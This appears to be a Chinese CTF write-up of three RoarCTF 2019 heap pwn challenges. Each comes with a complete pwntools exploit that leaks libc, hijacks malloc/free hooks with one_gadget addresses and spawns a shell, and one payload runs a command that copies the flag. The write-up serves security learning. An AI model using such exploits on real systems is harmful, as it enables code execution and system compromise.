1、easy_pwn

  可以利用的点:

  

__int64 __fastcall sub_E26(signed int a1, unsigned int a2)
{
__int64 result; // rax if ( a1 > (signed int)a2 )
return a2;
if ( a2 - a1 == )
LODWORD(result) = a1 + ;
else
LODWORD(result) = a1;
return (unsigned int)result;
}

然后 覆盖了 下一个chunk的 size ,然后就是 像之前的0ctf2017的babyheap程序

具体可以参考这里

https://bbs.pediy.com/thread-246786.htm

payload:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'
host = "192.168.244.153"
port = 8888
#r = process("")
r = remote(host,port) def add(size):
r.recvuntil("choice: ")
r.sendline(str(1))
r.recvuntil("size: ")
r.sendline(str(size)) def edit(index,size,content):
r.recvuntil("choice: ")
r.sendline(str(2))
r.recvuntil("index: ")
r.sendline(str(index))
r.recvuntil("size: ")
r.sendline(str(size))
r.recvuntil("content: ")
r.sendline(content) def free(index):
r.recvuntil("choice: ")
r.sendline(str(3))
r.recvuntil("index: ")
r.sendline(str(index)) def show(index):
r.recvuntil("choice: ")
r.sendline(str(4))
r.recvuntil("index: ")
r.sendline(str(index)) add(0x68)#
add(0x68)#
add(0x68)#
add(0x68)#
add(0x68)#
add(0x68)#
payload = 'a'*0x68+p8(0xe1)
edit(0,0x68+0xa,payload)
free(1)
add(0x68)#
show(2)
r.recvuntil(": ")
leak = u64(r.recv(6).ljust(8,'\x00'))
libc = leak - 0x3c4b78
print "libc:"+hex(libc)
free_hook = libc +0x3c67a8
malloc_hook = libc +0x3c4b10
ong_a = libc + 0x4526a
realloc_hook = libc +0x846C0
payload = p64(malloc_hook -0x23)
add(0x60)#
free(2)
edit(6,8,payload)
add(0x60)#
add(0x60)#
payload = 'a'*0xb+p64(ong_a)+p64(realloc_hook)
edit(7,len(payload),payload)
add(0x68)
r.interactive()

2、realloc_magic

  程序:

 

int fr()
{
free(realloc_ptr);
return puts("Done");
}
int ba()
{
if ( lock )
exit(-);
lock = ;
realloc_ptr = 0LL;
return puts("Done");
}
int re()
{
size_t size; // [rsp+Ch] [rbp-4h] puts("Size?");
LODWORD(size) = get_int("Size?");
realloc_ptr = realloc(realloc_ptr, (unsigned int)size);
puts("Content?");
read(, realloc_ptr, (unsigned int)size);
return puts("Done");
}

没有malloc ,这道题可以修改tcache的内容,因为tache 就在heap的最上面可以修改几个字节就星

首先 用double free  realloc到 tcache去和修改一个chunk的大小,然后free掉 jiu可以 放到unsortbin去接下来就去布局了 继续realloc 的话就会从unsortdbin上扣出来,好像是。。。

既然修改到tcache去,就可以修改tcache 的chunk,这样就可以修改一个tcache中的chunk 指向IO_2_1_stdin去。接下来在用666

接下来就常规操作

我就参考了两个wp

都实现了下

payload:

  

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
import random
context.log_level = 'debug'
#host = "192.168.244.158"
host = '127.0.0.1'
port = 8888
#r = process("")
r = remote(host,port) def dele():
r.recvuntil(">> ")
r.sendline(str(2)) def realloc_(size,content):
r.recvuntil(">> ")
r.sendline(str(1))
r.recvuntil("Size?")
r.sendline(str(size))
r.recvuntil("Content?")
r.send(content) def lock_666():
r.recvuntil(">> ")
r.sendline(str(666)) #realloc_(0x70,'a')
#realloc_(0,'')
#realloc_(0x100,'a')
#realloc_(0,'')
#realloc_(0xe0,'a')
#realloc_(0,'a')
#realloc_(0x100,'a')
#[dele() for i in range(7)]
#realloc_(0x0,'')
#realloc_(0x70,'a')
#realloc_(0x180,chr(0)*0x78+p64(0x41)+p16(0x9760-0x43))
#realloc_(0,'')
#realloc_(0x100,'a')
#realloc_(0,'')
#realloc_(0x100,'a'*0x43+p64(0xfbad1887) + p64(0) *3 + "\x00")
#leak=u64(r.recvuntil("realloc")[9:9+6].ljust(8,'\x00'))
#leak=u64(r.recv(6).rjust(8,'\x00'))
#print hex(leak)
#libc = leak - 0x3ed8b0
#lock_666()
#realloc_(0x70,'a')
#realloc_(0,'')
#realloc_(0x110,'a')
#realloc_(0,'')
#realloc_(0xf0,'a')
#realloc_(0,'a')
#realloc_(0x110,'a')
#[dele() for i in range(7)]
#realloc_(0x0,'')
#realloc_(0x70,'a')
#realloc_(0x190,chr(0) * 0x78 + p64(0x41) + p64(libc + 0x3ed8e8))
#realloc_(0x0,'')
#print hex(libc)
#realloc_(0x110,'a')
#realloc_(0,'')
#ong_g = libc + 0x4f322
#realloc_(0x110,p64(ong_g))
#r.sendline(str(2)) realloc_(0x28,'a')
dele()
realloc_(0x68,'n')
dele()
realloc_(0x18,'n')
realloc_(0,'')
realloc_(0x48,'a')
dele()
realloc_(0,'')
realloc_(0x68,'a'*0x18+p64(0x201)+p16(0x7010))
realloc_(0,'')
realloc_(0x48,'s')
realloc_(0,'')
realloc_(0x48,'\xff'*0x38+p64(0x31))
realloc_(0x58, 'a' * 0x18 + ' ' *0x20 + p64(0x41)+p64(0) +p16(0x7050))
realloc_(0,'')
realloc_(0x28,p64(0)*4+p16(0x072d)+p8(0xdd))
realloc_(0,'')
realloc_(0x58,'a'*0x33+p64(0xfbad3c80)+p64(0)*3+chr(0))
leak=u64(r.recvuntil("realloc")[9:9+6].ljust(8,'\x00'))
print hex(leak)
libc = leak - 0x3ed8b0
#realloc_(0,'')
#realloc_(0x1e8,p64(0)*4+p16(0x072d)+p8(0xdd))
#realloc_(0,'')
#realloc_(0x58,'a'*0x13+p64(0xfbad3c80)+p64(0)*3+chr(0))
#result=r.recvn(8)
#realloc_(0x50, 'a' * 0x18 + ' ' * 0x20 + p64(0x201)+ p16(0x7060))
#realloc_(0,'')
#realloc_(0x18,p64(0)+p64(0x1f1)+p16(0x072d)+p8(0xdd))
#realloc_(0,'')
#realloc_(0x28,'a')
#realloc_(0x1e8,'a')
#realloc_(0x1e8,p16(0x072d)+p8(0xdd))
r.sendline(str(666))
realloc_(0x38,p64(0)+p64(libc+0x3ed8e8))
realloc_(0,'')
ong_g = libc+0x4f322
realloc_(0x28,p64(ong_g))
r.sendline('')
r.interactive()
#realloc_(0x50,'p'*0x33+p64(0xfbad3c80)+p64(0)*3+chr(0))
#leak=u64(r.recvuntil("realloc")[9:9+6].ljust(8,'\x00'))
#print hex(leak)
r.interactive()

easy_heap:

  这道 只有show了一次就关了  stdou 和stderr

  所以  其实就是劫持 bss上的 ,然后可以修改,在bss上伪造一个 unsortbin ,然后释放 就有了libc的地址,但是要用 那个给的realloc的 卡住,就能泄露出来了

  我是在本地调试的。

payload:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
context.log_level='debug'
host = "192.168.244.158"
port = 8888 r = remote(host,port) r.recvuntil("please input your username:")
r.sendline('yezi')
r.recvuntil("please input your info:")
r.sendline('lan')
def add2(size,content):
sleep(0.1)
r.sendline(str(1))
sleep(0.1)
r.send(str(size).ljust(8, '\x00'))
sleep(0.3)
r.send(content)
def add(size,content):
r.recvuntil(">> ")
r.sendline(str(1))
r.recvuntil("input the size")
r.sendline(str(size))
r.recvuntil("please input your content")
r.sendline(content)
def free2():
sleep(0.2)
r.sendline(str(2))
def free():
r.recvuntil(">> ")
r.sendline(str(2)) def show():
r.recvuntil(">> ")
r.sendline(str(3)) def e_666(chosn,content):
r.recvuntil(">> ")
r.sendline(str(666))
r.recvuntil("build or free?")
if chosn == 1:
r.sendline(str(1))
r.recvuntil("please input your content")
r.sendline(content)
else:
r.sendline(str(2)) add(0x50,'a')#
add(0x50,'b')#
add(0x50,'c')#
free()
free()
add(0x50,p64(0x602080))
add(0x50,'a')
payload = 0xdeadbeefdeadbeef
add(0x50,p64(0)+p64(0x6020b0)+p64(payload)+p64(0)+p64(0)+p64(0xb1))
e_666(1,'a')
[free() for i in range(7)]
add(0x70,'a')
e_666(0,'a')
add(0x8,'aaaaaaa')
show()
r.recvuntil("\n")
libc = u64(r.recv(6).ljust(0x8,'\x00')) -0x3ebd40
log.info(hex(libc))
malloc_hook = libc + 0x3ebc30
free_hook = libc +0x3ed8e8
system = libc +0x4f440
add2(0x40,'aa')
free2()
free2()
add2(0x40,p64(malloc_hook-0x8))
add2(0x40,p64(malloc_hook-0x8))
#payload = p64(system)
payload = p64(libc+0x4f322)+p64(libc+0x98c30+9)
add2(0x40,payload)
add2(0x40,'touch 1.txt|cat flag > 1.txt')
r.interactive()

  

参考:https://www.anquanke.com/post/id/188785#h3-6

Roarctf 几道pwn 复现的更多相关文章

  1. [零基础学IoT Pwn] 复现Netgear WNAP320 RCE

    [零基础学IoT Pwn] 复现Netgear WNAP320 RCE 0x00 前言: 这是[零基础学IoT Pwn]的第二篇,上篇我们搭好了仿真环境后,模拟运行了Netgear WNAP320固件 ...

  2. 强网杯2018 pwn复现

    前言 本文对强网杯 中除了 2 个内核题以外的 6 个 pwn 题的利用方式进行记录.题目真心不错 程序和 exp: https://gitee.com/hac425/blog_data/blob/m ...

  3. D^3ctf两道 pwn

    这次 的D^3ctf 又是给吊打 难顶... 所以题都是赛后解出来的,在这感谢Peanuts师傅 unprintableV 看看保护: 看看伪代码,其实代码很少 void __cdecl menu() ...

  4. 2019CISCN华南线下两道web复现

    原帖地址 : https://xz.aliyun.com/t/5558 2019CISCN华南线下的两个简单 web 部分题目下载地址,有的不完整 : 点我点我 web 1 考点 : 无参函数的 RC ...

  5. [RoarCTF 2019]simple_uplod

    目录 [RoarCTF 2019]simple_uplod 1.ThinkPHP文件上传 2.upload()多文件上传 ThinkPHP上传文件名暴破 [RoarCTF 2019]simple_up ...

  6. [RoarCTF]Easy Java

    目录 [RoarCTF]Easy Java 知识点 1.WEB-INF/web.xml泄露 [RoarCTF]Easy Java 题目复现链接:https://buuoj.cn/challenges ...

  7. [RoarCTF]Easy Calc

    目录 [RoarCTF]Easy Calc 知识点 1.http走私绕过WAF 2.php字符串解析特性绕过WAF 3.绕过过滤写shell [RoarCTF]Easy Calc 题目复现链接:htt ...

  8. HGAME2021 week2 pwn writeup

    week2一共有4道pwn题 killerqueen 有格式化字符串漏洞,题不算难,但是故事情节真实让人摸不着头脑,但是仔细分析分析,理清楚逻辑就可以做了. 第一次choose1的时候,可以输入0,泄 ...

  9. ISCC2016 WriteUp

    日期: 2016-05-01~ 注:隔了好久才发布这篇文章,还有两道Pwn的题没放,过一阵子放上.刚开始做这个题,后来恰巧赶上校内CTF比赛,就把重心放在了那个上面. 这是第一次做类似于CTF的题,在 ...

随机推荐

  1. Java properties | FileNotFoundException: properties (系统找不到指定的文件。)

    文件存储路径的问题 错误描述 :FileNotFoundException: init.properties (系统找不到指定的文件.) 1.方法一 InputStream fis =TestProp ...

  2. Leetcode Tags(2)Array

    一.448. Find All Numbers Disappeared in an Array 给定一个范围在 1 ≤ a[i] ≤ n ( n = 数组大小 ) 的 整型数组,数组中的元素一些出现了 ...

  3. django-模板之过滤器Add(十三)

    1.add 若前后类型不匹配,就返回空. 其他的一些过滤器: first:返回列表的第一个值: last:返回列表的最后一个值: length:返回变量值的长度: linebrakebr:将纯文本中的 ...

  4. Java设计模式_七大原则

    简介 单一职责原则.对类来说,即一个类应该只负责一项职责. 开闭原则.对扩展开放,对修改关闭.在程序需要进行扩展的时候,不能去修改原有代码,使用接口和抽象类实现一个热插拔的效果. 里氏替换原则.任何基 ...

  5. SpringBoot与MybatisPlus3.X整合之通用枚举(十二)

    一 通用枚举 解决了繁琐的配置,让 mybatis 优雅的使用枚举属性! 自3.1.0开始,可配置默认枚举处理类来省略扫描通用枚举配置 默认枚举配置 升级说明: 3.1.0 以下版本改变了原生默认行为 ...

  6. UE4蓝图与C++交互——射击游戏中多武器系统的实现

    回顾   学习UE4已有近2周的时间,跟着数天学院"UE4游戏开发"课程的学习,已经完成了UE4蓝图方面比较基础性的学习.通过UE4蓝图的开发,我实现了类似CS的单人版射击游戏,效 ...

  7. 【Leetcode 做题学算法周刊】第二期

    首发于微信公众号<前端成长记>,写于 2019.11.05 背景 本文记录刷题过程中的整个思考过程,以供参考.主要内容涵盖: 题目分析设想 编写代码验证 查阅他人解法 思考总结 目录 20 ...

  8. 明解C语言 入门篇 第二章答案

    练习2-1 #include <stdio.h> int main() { int x; int y; int percent; puts("请输入两个整数"); pr ...

  9. 20190723_C的三个小实现

    1. 有一个字符串开头或结尾含有n个空格(“    abcdefgdddd   ”),欲去掉前后的空格,返回一个新的字符串.a) 要求1:请自己定义一个接口(函数),并实现功能:b) 要求2:编写测试 ...

  10. OA权限设计

    Action表,有多少个Action,就有多少个记录; UserAction表,记录条数 = User数 * Action数,用于最终确定用于能否请求某个action Role角色表,自定义条数; R ...